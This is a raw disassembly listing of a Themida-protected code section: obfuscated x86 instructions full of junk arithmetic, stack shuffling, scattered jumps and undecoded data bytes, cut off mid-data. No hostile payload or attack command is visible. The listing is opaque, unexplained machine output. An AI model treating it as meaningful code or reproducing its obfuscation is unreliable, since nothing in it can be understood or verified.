0C0h dd 0EFD002E7h, 4D9EF80h, 0E9F828CFh, 0DAADh, 0D46EE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5945DA: ; CODE XREF: Themida_:0059F127j push eax mov eax, 7FDF2883h jmp loc_594CBE ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 0F7h dd 36F681DEh, 2903C63Eh, 1455E9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5945F6: ; CODE XREF: Themida_:0059CFD7j mov [esp], ebx add dword ptr [esp], 7EA57992h mov edi, [esp] add esp, 4 jmp loc_5A58C6 ; --------------------------------------------------------------------------- db 1 dd 9966E9F3h db 2 dup(0) word_594612 dw 52ACh ; DATA XREF: Themida_:0059093Co dd 0DEF69CB6h, 6866EED0h, 896670CDh, 0B353240Ch, 0E9DD881Bh dd 3AE4h, 92240431h, 3882E9h db 0 ; --------------------------------------------------------------------------- loc_594635: ; CODE XREF: Themida_:00594B01j mov ebp, 6C6658E6h shr ebp, 6 shr ebp, 7 jmp loc_5977B8 ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 8B243C33h, 48E92424h, 2DFFFFC4h, 0F9D495F4h, 8158C601h dd 0EA1322EDh, 81F50131h, 0EA1322C5h, 41685E31h, 89000017h dd 0E6892434h, 4C681h, 0EE810000h, 4, 0FFEC35E9h, 0E95A54FFh dd 2B7Fh, 4EC81h, 34890000h, 4EC8124h, 54000000h, 3C03E9h dd 4C68100h, 81000000h, 4EEh, 2D23E900h, 0F2810000h, 649123C8h dd 0E9242C8Bh, 1192h, 4246C81h, 1FF568CBh, 4245401h, 4244481h dd 1FF568CBh, 4246C81h, 1760DE9h, 4244481h, 48906E4Ah dd 2404815Ah, 7E1E16E7h, 6C6C68h, 24348900h, 912CFFBEh dd 0E9DEF74Fh, 7C38h, 8077EC80h, 0C480BBECh, 58E2201Fh dd 0E977C280h, 0CC20h, 0E924248Bh, 0FF86h, 0F7EED14Eh dd 0EABD55DEh, 0F74A5917h, 4DE5D1DDh, 67C5C581h, 0C58171A7h dd 42EAE2C7h, 15DEE01h, 3F1DE9F0h, 0D7010000h, 654CEF81h dd 0B7E92C4Ah, 0BF00010Ch, 4, 335FF801h, 4312404h, 24043324h dd 0BDDE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_594766: ; CODE XREF: Themida_:0059244Ej add ebx, 5B4847D8h movzx ax, byte ptr [eax] push 428Ah mov [esp], ebp push 6A33h mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi mov ebp, [esp] add esp, 4 push 4F01h mov [esp], ebx push edi mov edi, 4 mov ebx, edi pop edi add ebp, 0CB37EA6h add ebp, ebx sub ebp, 0CB37EA6h mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], esi push edi mov edi, 7778115Bh jmp loc_599617 ; --------------------------------------------------------------------------- loc_5947CA: ; CODE XREF: Themida_:005A1B6Bj push ebp mov ebp, 6F973F6Ch add ebp, 16E019D5h sub ebp, 84F14A76h xor eax, ebp pop ebp push dword ptr [esp] push dword ptr [esp] jmp loc_59F395 ; --------------------------------------------------------------------------- dw 2C33h dd 24248B24h, 24048966h, 0FFC2A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5947F9: ; CODE XREF: Themida_:00591116j push esi sub esp, 4 mov [esp], ecx push esp jmp loc_5A564E ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 89000000h, 0E0F0E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594816: ; CODE XREF: Themida_:00598F90j mov edx, 4A3A762Eh mov eax, edx pop edx jmp loc_5A51F4 ; --------------------------------------------------------------------------- db 81h dd 1A5D50EDh, 81DD0108h, 1A5D50C5h, 3CC58108h, 5B2ECB12h dd 4BA52h, 0D5290000h, 242C335Ah, 744BE9h, 24343300h, 2434895Ch dd 2ADD68h, 243C8900h, 0EB054D68h, 2434FF39h, 4C4835Fh dd 4DD568h, 242C8900h, 321C68h, 241C8900h, 1982E9h, 0CDBF5700h dd 0D169A90Dh, 2FEF81EFh, 81772F05h, 0D05E5AC7h, 36F78165h dd 290A64FFh, 15F5FF9h, 875B59CFh, 248B243Ch, 4EC8124h dd 89000000h, 0E789243Ch, 63B0E9h, 53D62900h, 5F06A3BBh dd 5BDE0137h, 4EC815Ah, 89000000h, 4FE92434h, 0F7000100h dd 0E38953D9h, 4C381h, 0EB810000h, 4, 5C241C87h, 0B8240489h dd 71AB7BEEh, 0E205D8F7h, 2D01711Eh, 21472459h, 8F972D35h dd 58C129D2h, 7CE9CF89h, 810000DDh, 4C5h, 0ABBB5300h, 0E960802Bh dd 3604h, 2444315Eh, 0E95A5804h, 0FFFFFD92h, 0B8240489h dd 1, 65E9C121h db 11h, 1, 0 ; --------------------------------------------------------------------------- loc_59492F: ; CODE XREF: Themida_:0059CB61j xor eax, 213FFF6Ah add edi, eax pop eax xchg edi, [esp] pop esp or eax, eax jnz loc_5A15E6 sub esp, 4 mov [esp], eax mov eax, 55F61284h mov edx, 210F384Fh xor edx, eax pop eax sub esp, 4 mov [esp], edi mov edi, 4CF13745h xchg esi, edi dec esi xchg esi, edi sub edi, 0B76C301h jmp loc_597595 ; --------------------------------------------------------------------------- loc_594971: ; CODE XREF: Themida_:0059759Aj add esp, 4 jmp loc_590AD4 ; --------------------------------------------------------------------------- loc_59497C: ; CODE XREF: Themida_:00591D48j push eax mov eax, 4 jmp loc_59731A ; --------------------------------------------------------------------------- db 0B9h dd 4, 4244C01h, 0C2815A59h, 4, 231668h, 240C8900h, 4B9h dd 6EC1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5949AA: ; CODE XREF: Themida_:005A4529j inc ebx jmp loc_5A3DF1 ; --------------------------------------------------------------------------- dd 0E92424D3h, 1278h ; --------------------------------------------------------------------------- loc_5949B8: ; CODE XREF: Themida_:005A0D7Aj pop ebx xchg eax, [esp] pop esp jmp loc_590E43 ; --------------------------------------------------------------------------- dw 535Dh dd 10B64E9h, 37B7BB00h, 15682EDAh, 8900000Fh, 23BF243Ch dd 811F4375h, 5B18E6E7h, 75EF8113h, 4F0BE00Ch, 6F2968h dd 242C8900h, 1B0A0BBDh, 25ED8132h, 8119E251h, 81745C5h dd 1138E947h, 44290000h, 6C810824h, 39B50824h, 8B585E6Ch dd 54532434h, 4BE565Bh, 1000000h, 0E339E9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594A26: ; CODE XREF: Themida_:00592F2Aj add edi, ecx pop ecx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push edx push 6F6Bh mov [esp], eax mov eax, 312615ABh push edi mov edi, 2B1195h jmp loc_594C9B ; --------------------------------------------------------------------------- dd 36F685Fh, 0C890000h, 2474FF24h, 0EBE95904h db 0Ch, 1, 0 ; --------------------------------------------------------------------------- loc_594A5F: ; CODE XREF: Themida_:00594FBDj add ebp, 4 xchg ebp, [esp] jmp loc_5936DF ; --------------------------------------------------------------------------- loc_594A6A: ; CODE XREF: Themida_:0059E572j mov edx, 5BCC0A8Eh or edx, 3E8217Fh or edx, 14A844AFh sub esp, 4 mov [esp], eax mov eax, 7BD15976h not eax jmp loc_5921D5 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 74BB241Ch, 81744057h, 24273BF3h, 7DDE941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594AA6: ; CODE XREF: Themida_:0059ED65j mov [esp], ebx mov ebx, 46B557A6h add edx, ebx pop ebx jmp loc_5A58A4 ; --------------------------------------------------------------------------- aSV db '±ºéÔ‚',0 dd 370400h, 0C1B753C8h, 0E9B9F780h, 0FFFFFAF5h, 0D437B0BEh dd 2474013Bh, 24348B08h, 104C483h, 5204244Ch, 2330E9h db 0 ; --------------------------------------------------------------------------- loc_594AE5: ; CODE XREF: Themida_:005A0351j add ecx, 4 push ebx mov ebx, 7C0A114Bh sub ebx, 5896h push 0 sub [esp], ebx pop ebx push ebp jmp loc_594635 ; --------------------------------------------------------------------------- dw 0E952h dd 8B04h, 806EEA80h, 0CAFE4AEAh, 0DAEDE9h, 4C48300h, 36786857h dd 1CE94E5Dh, 81000087h, 3B334AEFh, 81CF0148h, 3B334AC7h dd 5FE95948h db 62h, 2 dup(0) byte_594B3B db 64h ; DATA XREF: Themida_:0059092Co dd 0E9028B66h, 0D7h, 89F2E952h, 1C8B0000h, 0CD73E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594B52: ; CODE XREF: Themida_:005A350Aj mov ebx, [esp] add esp, 4 shl edi, 3 shl edi, 5 and edi, 102F26D0h and edi, 144B4852h push ecx push ebx push 20B526A9h pop ebx jmp loc_5961BE ; --------------------------------------------------------------------------- loc_594B7A: ; CODE XREF: Themida_:0059306Bj pop esi sub ebp, 4 jmp loc_59C74A ; --------------------------------------------------------------------------- db 46h dd 50C4C681h, 0F6811713h, 7C4C5FF7h, 1091CE9h db 0 ; --------------------------------------------------------------------------- loc_594B95: ; CODE XREF: Themida_:0059D096j xor [esp], ecx xor ecx, [esp] jmp loc_5936C2 ; --------------------------------------------------------------------------- a2Jscw db 0Dh,'2',0Ah db 'ÄJéCW',0 align 2 dw 3C89h dd 458CBF24h, 0E7C15D77h, 0A5EF8107h, 1A10BDEh, 0D7895FFAh dd 0E781475Ah, 1BB06F24h, 0FFC582E9h, 4C483FFh, 709EE9h db 0 byte_594BD5 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005908CCo dd 0E92434FFh, 0FFFFCDA8h ; --------------------------------------------------------------------------- loc_594BE0: ; CODE XREF: Themida_:005A5855j and edx, 0C505657h add edx, 3B122C9Bh jmp loc_5969B6 ; --------------------------------------------------------------------------- db 81h, 0C2h, 45h dd 81713F47h, 0F05456C7h, 81D72958h, 0F05456EFh, 0E308E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594C0A: ; CODE XREF: Themida_:005A1760j add esi, 72C50199h xor esi, 2E4F0425h jmp loc_59E2A7 ; --------------------------------------------------------------------------- db 66h dd 0E9334A68h, 0FFFFBFEBh ; --------------------------------------------------------------------------- loc_594C24: ; CODE XREF: Themida_:0059B163j sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_59E6D7 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0E4h dd 56DA9CF3h, 282D6CBEh, 0D6F74E7Eh, 3C2FCE81h, 6E964A3h dd 5EFFFFCAh, 719CE952h, 1C890000h, 6B566824h, 16E90000h dd 0FFFFFFC2h, 81592434h, 4C4h, 0C1E9D100h, 88E906E9h dd 0BDFFFFCCh, 0F2542A7h, 0FFE89EE9h, 8F2C59FFh, 8F04C800h dd 0FE7BB353h, 0B55166C3h, 0A88BE934h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594C92: ; CODE XREF: Themida_:0059655Cj pop ebp xchg ecx, [esp] jmp loc_596E00 ; --------------------------------------------------------------------------- loc_594C9B: ; CODE XREF: Themida_:00594A47j or eax, edi pop edi jmp loc_593320 ; --------------------------------------------------------------------------- loc_594CA3: ; CODE XREF: Themida_:0059B89Bj and eax, ebp push dword ptr [esp] push dword ptr [esp] pop ebp push ebx mov ebx, esp jmp loc_5A1B70 ; --------------------------------------------------------------------------- dd 4BBh, 18D1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594CBE: ; CODE XREF: Themida_:005945E0j sub ebx, eax pop eax jmp loc_5A367B ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 913EE956h, 0F3010000h, 101FFE9h db 0 off_594CD9 dd offset dword_555548+220h ; DATA XREF: Themida_:005907E4o align 2 dw 1489h dd 0BDB5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594CE6: ; CODE XREF: Themida_:005930D2j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_59E5FC ; --------------------------------------------------------------------------- dd 24048B66h, 0C002C483h, 0B05003EAh, 0E9D12C61h, 0CD18h dd 241C8966h, 67E9B9B7h, 83000091h, 0C8904ECh, 81D6E924h dd 885B0000h, 0C336E9C6h, 0C6810000h, 49F94ABAh, 3CD8E9h dd 4392B800h, 80E96370h, 5CFFFFBFh, 13206856h, 4E97A36h dd 81FFFFFFh, 0A227D6F5h, 5DE88959h, 5001C083h, 582414F7h dd 59C6E9h db 0 ; --------------------------------------------------------------------------- loc_594D5D: ; CODE XREF: Themida_:005940DBj mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], edx push 1 pop edx push 166Ah jmp loc_59150D ; --------------------------------------------------------------------------- dd 8924248Bh, 0EC83241Ch, 240C8904h, 0EC81C188h, 4, 789FE9h db 0 byte_594D95 db 0FFh, 77h, 40h ; DATA XREF: Themida_:005907CCo dd 0FFBCFEE9h, 79F180FFh, 0E920E980h, 0E56Bh ; --------------------------------------------------------------------------- loc_594DA8: ; CODE XREF: Themida_:005A0E6Aj sub esp, 4 jmp loc_59A187 ; --------------------------------------------------------------------------- dd 0C94763BAh, 6EAC15Ch, 4EA5E9h, 6ED8100h, 1214126h, 2A71E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594DCA: ; CODE XREF: Themida_:00598886j mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_598B15 ; --------------------------------------------------------------------------- aRhw db 'RhW`',0 dw 0E900h dd 0B149h ; --------------------------------------------------------------------------- loc_594DE8: ; CODE XREF: Themida_:00596049j xchg ebx, [esp] pop esp push 5FE9h jmp loc_590CA3 ; --------------------------------------------------------------------------- aSig db '\難',0 align 4 dd 0F00F8BBFh, 0C0B9515Dh, 2938D61Eh, 240C8BCFh, 4C481h dd 0E7810000h, 45CE48C3h, 10AE8E9h db 0 ; --------------------------------------------------------------------------- loc_594E1D: ; CODE XREF: Themida_:0059155Aj xchg ecx, [esp] mov esp, [esp] div cx push 5E50h mov [esp], ebx push 510Ah jmp loc_59A840 ; --------------------------------------------------------------------------- dd 405h, 24048700h, 6E43E9h, 244F2900h, 8B2434FFh, 0E955240Ch dd 1F00h ; --------------------------------------------------------------------------- loc_594E54: ; CODE XREF: Themida_:005913F1j add ecx, 4 jmp loc_59654E ; --------------------------------------------------------------------------- loc_594E5F: ; CODE XREF: Themida_:005952D3j sub esp, 4 mov [esp], ebx mov ebx, 4AD64969h xchg esi, ebx inc esi xchg esi, ebx dec ebx jmp loc_5A271D ; --------------------------------------------------------------------------- dd 81D7015Ch, 0D72557C7h, 0DBE95A04h, 5300004Fh, 4A654CBBh dd 21C7812Ch, 13B474Fh, 21EF81DFh, 0E93B474Fh, 642h ; --------------------------------------------------------------------------- loc_594EA0: ; CODE XREF: Themida_:0059448Fj mov edi, 3C3F1DB6h xor edx, edi pop edi add eax, 2D3E4FDEh sub eax, 11B37483h sub eax, edx push edi mov edi, 11B37483h add eax, edi pop edi jmp loc_59E38A ; --------------------------------------------------------------------------- aSs_0 db '\éS°',0 align 4 dd 2474FF53h, 8527E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594ED2: ; CODE XREF: Themida_:005A5675j push edi mov edi, 70D37B4Eh add esi, edi pop edi shl esi, 3 add esi, 539D1F14h jmp loc_5A3C72 ; --------------------------------------------------------------------------- loc_594EE9: ; CODE XREF: Themida_:00592051j pop esp add esp, 4 loc_594EF0: ; CODE XREF: Themida_:005A38ADj push 303Fh jmp loc_59D98F ; --------------------------------------------------------------------------- dw 0D328h dd 10C42E9h, 6F815800h, 0D9338520h, 66CC681Bh, 1C890000h dd 0DC685624h, 8B6F625Bh, 0C4832434h, 9DE68104h, 51623044h dd 33A4E9h, 241C8900h, 0C07E1BBh, 4BDBF711h, 600DCB81h dd 0EB811A9Eh, 83F17D1Bh, 84E9D889h, 5A000085h, 1C8BD801h dd 3DE3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594F52: ; CODE XREF: Themida_:00593A13j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 add ecx, ebx pop ebx jmp loc_5A145A ; --------------------------------------------------------------------------- loc_594F7D: ; CODE XREF: Themida_:005A0EE2j mov ebx, 6A3C209Eh jmp loc_591C03 ; --------------------------------------------------------------------------- aBiMIUSgp db 'ëÏm~iÁã',8,'ég¯',0 db 0 ; --------------------------------------------------------------------------- loc_594F95: ; CODE XREF: Themida_:0059F518j neg ebp dec ebp xor ebp, 0CC28DF4Ah jmp loc_595FD7 ; --------------------------------------------------------------------------- db 89h dd 74FF242Ch, 8F5D0424h, 335C2404h, 14312414h, 0AA8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594FBA: ; CODE XREF: Themida_:005936BDj add esp, 4 jmp loc_594A5F ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0D8E90000h, 8100008Bh, 929A9EEh, 0E9F2892Bh dd 5849h ; --------------------------------------------------------------------------- loc_594FDC: ; CODE XREF: Themida_:005A0345j add esp, 4 shl eax, 5 jmp loc_59C98B ; --------------------------------------------------------------------------- db 1 dd 1C875AD3h, 4FAAE924h, 0D9290000h, 0E9CA895Bh, 58A0h dd 0C280E2D0h, 0E9D03056h, 0ECCDh ; --------------------------------------------------------------------------- loc_595008: ; CODE XREF: Themida_:00591CA1j mov ebx, [esp] add esp, 4 push ebp push dword ptr [esp+4] jmp loc_5A2E1B ; --------------------------------------------------------------------------- db 89h dd 2FBE2434h, 0E9051912h, 15E7h ; --------------------------------------------------------------------------- loc_595028: ; CODE XREF: Themida_:0059FBCFj xor esi, [esp] jmp loc_5A073E ; --------------------------------------------------------------------------- dd 7580EA81h, 0D5013647h, 4C5815Ah, 0E9000000h, 0D8AAh dd 0F707EAC1h, 0C2814ADAh, 200ADF12h, 6C9FE281h, 0F2810E24h dd 0E202016h, 148BD301h, 4C48124h, 81000000h, 4C3h, 0F3D3E900h dd 575E0000h, 0AF78E9h db 0 ; --------------------------------------------------------------------------- loc_595079: ; CODE XREF: Themida_:00597945j xor edx, ebx pop ebx shr edx, 3 jmp loc_5A45E6 ; --------------------------------------------------------------------------- dd 468h, 5527E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59508E: ; CODE XREF: Themida_:0059B086j mov esi, edx jmp loc_59B15A ; --------------------------------------------------------------------------- loc_595095: ; CODE XREF: Themida_:005921DFj add eax, 9FEC98F1h sub edx, eax pop eax xor ecx, edx jmp loc_591CB3 ; --------------------------------------------------------------------------- loc_5950A4: ; CODE XREF: Themida_:005973A8j add ebx, 2146F17h mov ebp, [esp] push ebp push esp pop ebp push edi jmp loc_5A52F1 ; --------------------------------------------------------------------------- dw 0EB81h dd 65E16DF4h, 188EC381h, 0E9586BD2h, 0C4EAh ; --------------------------------------------------------------------------- loc_5950C8: ; CODE XREF: Themida_:005A58E7j mov ebx, [esp] add esp, 4 pop eax push 186Bh mov [esp], esi jmp loc_5926DA ; --------------------------------------------------------------------------- loc_5950DF: ; CODE XREF: Themida_:005A1DF1j push ebx mov ebx, 7C3C093Fh not ebx xor ebx, 2E70A06h neg ebx push esi jmp loc_5A45FC ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 5404EC83h, 865EE9h db 0 ; --------------------------------------------------------------------------- loc_595101: ; CODE XREF: Themida_:0059E6A6j mov ecx, [esp] add esp, 4 sub ebx, ebp jmp loc_5997DB ; --------------------------------------------------------------------------- word_59510E dw 8B66h ; DATA XREF: Themida_:005907BCo dd 8953240Ch, 9FBFE9E3h, 0C870000h, 24248B24h, 5374BA52h dd 0C7810076h, 658B25BCh, 0EF81D701h, 658B25BCh, 0FA69E9h db 0 ; --------------------------------------------------------------------------- loc_595139: ; CODE XREF: Themida_:005A3AD1j not esi xor esi, 6D551FDBh add ebp, 316863C8h add ebp, esi sub ebp, 316863C8h jmp loc_59782F ; --------------------------------------------------------------------------- loc_595154: ; CODE XREF: Themida_:00597FF2j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5961A2 ; --------------------------------------------------------------------------- dd 0E924048Bh, 0FCEEh, 0FAE0E95Ch, 0E951FFFFh, 0FFFFD143h ; --------------------------------------------------------------------------- loc_595178: ; CODE XREF: Themida_:005A198Fj pop dword ptr [esp] mov esp, [esp] or eax, eax jz loc_59886E push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_59671B ; --------------------------------------------------------------------------- db 5Ah, 33h, 3Ch dd 243C3124h, 8B243C33h, 9662424h, 0E99C2404h, 0FFFFB8F3h dd 3504EE81h, 50594D86h, 4EA6855h, 815D2349h, 62207CEDh dd 27E58156h, 813F9325h, 32C26F5h, 5DE88958h, 6858C631h dd 30A3h, 89241C89h, 0CF5FE9F3h, 0C9800000h, 6E9C0F1h dd 0E902EC83h, 0FFFFFB1Ch, 0ED4081BAh, 8BD18960h, 0C4812414h dd 4, 3E74C981h, 0BE563F2Eh, 87407A5h, 52A0E9h, 47685900h dd 89000048h, 6A68241Ch, 8900004Ch, 0BA522424h, 4, 4245401h dd 5A2434FFh, 0FF04C483h, 1C8B2434h, 1254E924h, 58570000h dd 5F2434FFh, 8104C483h, 0B25EEEC6h, 81C60163h, 0B25EEEEEh dd 2434FF63h, 0E924048Bh, 0AD8Ah, 6888CD81h, 0C5813DD5h dd 7C3926FFh, 0E905EDC1h, 0FFFFFAD7h, 7669B951h, 0D1F716B6h dd 7721E181h, 0E2E962D4h, 81000085h, 0E204E4F3h, 0BBECE922h dd 0C15C0000h, 36E907E6h, 8100009Bh, 0FB7E14C7h, 0F8895073h dd 0BC41E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5952A6: ; CODE XREF: Themida_:005918E9j mov ebx, 4 sub eax, ebx mov ebx, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edx sub esp, 4 mov [esp], edi mov edi, 77EE69ACh push ebp mov ebp, 79346133h neg ebp inc ebp jmp loc_594E5F ; --------------------------------------------------------------------------- a_psT4su db '_PS»"',7,'â4éU',0Ah,0 db 0 ; --------------------------------------------------------------------------- loc_5952E5: ; CODE XREF: Themida_:00595D9Ej mov edi, 466C00BBh shl edi, 7 add edi, 0FFFFFFFFh sub edi, 2CC12658h add eax, edi pop edi inc eax jmp loc_59F6E1 ; --------------------------------------------------------------------------- loc_5952FF: ; CODE XREF: Themida_:00599B2Cj add esi, 6062B960h or ebx, esi pop esi push esi mov esi, 4E6356C1h jmp loc_5A242C ; --------------------------------------------------------------------------- db 0C1h dd 555008E7h, 554D06BDh, 0D4ED813Ch, 81042630h, 0D1373EEDh dd 9FBB534Eh, 2953DE13h, 0EDC15BDDh, 0F5814505h, 7380EBB7h dd 99E9E889h, 0F0000C4h, 4768C8BEh, 89000074h, 48E9240Ch dd 51FFFFB7h, 815F5457h, 4C7h, 4EF8300h, 9FB9E9h, 24048F00h dd 3FA1E9h, 241C8700h, 0E7EDE9h db 0 ; --------------------------------------------------------------------------- loc_595375: ; CODE XREF: Themida_:005A2073j pop esi jmp loc_59616E ; --------------------------------------------------------------------------- db 0BDh dd 40AA214Fh, 0D9DBA52h, 0E2810765h, 12BF390Ah, 3369F281h dd 38E95C63h db 0F6h, 2 dup(0) byte_595397 db 66h ; DATA XREF: Themida_:00590814o dd 586866ADh, 3C896611h, 59BF6624h, 0BE665660h, 0CFE92121h dd 87000032h, 84E92414h, 52FFFFF9h, 0C281E289h, 4, 8704C283h dd 0E95C2414h, 9EDh, 8904EC83h, 74FF2434h, 1BE90424h, 0B900007Eh dd 4, 1966C381h, 9E90D4Fh, 5B00006Bh, 4A40E9h, 242C3100h dd 1073AE9h, 80E32800h, 506678EBh, 0E30044B4h, 88585866h dd 0E3005BDCh, 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 jmp loc_5A1D47 ; --------------------------------------------------------------------------- db 31h, 0C8h, 59h dd 478CEF81h, 0E9551604h, 0FFFFEF78h, 42474FFh, 5D2434FFh dd 8F04C483h, 97E92404h, 660000B7h, 661E2DB8h, 662D6535h dd 664D970Dh, 6655252Dh, 0E965A52Dh, 43B3h ; --------------------------------------------------------------------------- loc_59545C: ; CODE XREF: Themida_:005A45F7j mov ebx, [esp] add esp, 4 add eax, 2 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_59269F ; --------------------------------------------------------------------------- loc_595476: ; CODE XREF: Themida_:005966E1j mov edi, 0D922756Bh push 0E5Fh mov [esp], eax jmp loc_59E7EA ; --------------------------------------------------------------------------- loc_595488: ; CODE XREF: Themida_:00598CF3j pop edi push 22A6h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5A0424 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 43E9DD88h, 54FFFFD8h, 4C6815Eh, 83000000h, 348704C6h dd 24248B24h, 0B808E9h, 0F0F48000h, 5D72E9h, 0E8885B00h dd 0E9240C8Bh, 0B776h ; --------------------------------------------------------------------------- loc_5954D4: ; CODE XREF: Themida_:0059D885j add esp, 4 shr ecx, 0Ah jmp loc_59F5AB ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFF25Ah, 5DEA2959h, 148BD621h, 4C48324h, 122B6896h dd 4890000h, 2414F724h, 0C46EE9h, 80C2FE00h, 0CAFEBFC2h dd 2840C280h, 38E95AD0h, 83FFFFB7h, 0E8E904ECh, 890000C3h dd 0E4E9240Ch db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_595527: ; CODE XREF: Themida_:00597F76j shr ebp, 8 push ecx mov ecx, 0EF859C8h sub ecx, 0D8441C6h sub ebp, ecx pop ecx shl ebp, 5 sub ebp, 0AEC13923h sub ebx, ebp pop ebp sub ebx, edi jmp loc_596C3F ; --------------------------------------------------------------------------- aXs db 'XéÁÚ',0 align 2 dw 860Ch dd 0E908E8C0h, 0FC8Eh ; --------------------------------------------------------------------------- loc_59555C: ; CODE XREF: Themida_:0059C425j pop edi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_59B526 ; --------------------------------------------------------------------------- dd 2414895Ch, 0FFC243E9h, 6F68B8FFh, 0C6010195h, 8396E9h dd 0E9515700h, 0FFFFE3ECh ; --------------------------------------------------------------------------- loc_595588: ; CODE XREF: Themida_:005957B7j push edx mov edx, 657A7013h sub edx, 29E037E2h neg edx sub edx, 47C69A8Eh add ebp, edx jmp loc_5A2876 ; --------------------------------------------------------------------------- db 81h dd 5915B3EEh, 0E9595A7Dh, 1EA6h aFlSq db 'f‹$$éQ!',0 ; DATA XREF: Themida_:00590970o db 0 byte_5955B9 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:00590840o dd 89575266h, 6AE950E7h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5955C7: ; CODE XREF: Themida_:00590E3Ej pop ebx add esp, 4 pop ecx push eax jmp loc_596BC8 ; --------------------------------------------------------------------------- db 5Bh, 1, 0EAh aLSe db '‹,$é¥>',0 align 10h dd 0BB241C89h, 8FC193D4h, 3BE9DF29h, 8100008Eh, 51B98BC5h dd 0CEE4E98Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5955FA: ; CODE XREF: Themida_:005999B6j shl byte ptr [esp], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- db 58h dd 0D6F6F186h, 0CFE9F186h, 5AFFFFFBh, 6858C601h, 12AEh dd 0FFD4C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_59561D: ; CODE XREF: Themida_:0059DC2Bj push edx push 1Ch pop edx add edx, edi push ebx mov ebx, 0 add ebx, edx mov eax, [ebx] pop ebx mov edx, [esp] push esi mov esi, esp push 739Bh mov [esp], ebx jmp loc_591422 ; --------------------------------------------------------------------------- loc_595644: ; CODE XREF: Themida_:005A06EBj mov [esp], ebp push ebx mov ebx, 69C837BEh mov ebp, ebx pop ebx push 1F17h mov [esp], edx push ebx mov ebx, 284472DDh jmp loc_5A1FF6 ; --------------------------------------------------------------------------- db 83h dd 0C8704E9h, 3C895C24h, 3154BF24h, 0B850112Fh, 147705E5h dd 0D2347305h, 0F50E913h, 54500000h, 0F68CE9h db 0 ; --------------------------------------------------------------------------- loc_595689: ; CODE XREF: Themida_:0059D267j pop edx add ebp, esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], edi jmp loc_598FF7 ; --------------------------------------------------------------------------- aLSdo db '‹$$éd®',0 dw 5400h dd 0E22DE9h db 0 ; --------------------------------------------------------------------------- loc_5956A9: ; CODE XREF: Themida_:005969F2j mov ebx, 486465E4h shr ebx, 2 jmp loc_59D892 ; --------------------------------------------------------------------------- loc_5956B6: ; CODE XREF: Themida_:0059CBAEj xor edx, 7B8273DEh mov ebx, edx pop edx sub esp, 4 mov [esp], eax mov eax, ebx mov ecx, eax pop eax pop ebx push 83C7E1DFh mov edi, [esp] add esp, 4 push edx mov edx, 3A4867DCh push edx mov edx, 28F50733h add edi, edx jmp loc_59CE7C ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 81595451h, 4C1h, 4C18100h, 87000000h, 875C240Ch, 685C2434h dd 3FADh, 54243489h, 5E2434FFh, 9D0BE9h, 4C48100h, 55000000h dd 24BDh, 0FAEE8100h, 5704122Fh, 10E95052h db 0F1h, 2 dup(0) byte_59572F db 0FFh ; DATA XREF: Themida_:00590878o dd 48B2434h, 4C48124h, 53000000h, 0FFFF62E9h db 0FFh ; --------------------------------------------------------------------------- loc_595741: ; CODE XREF: Themida_:005A1D25j pop ebx xor bl, al movzx eax, al push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_59DAEF ; --------------------------------------------------------------------------- dd 0B8505A54h, 4, 6858C201h, 77CAh, 68242C89h, 2E4A51AEh dd 0AABF575Dh, 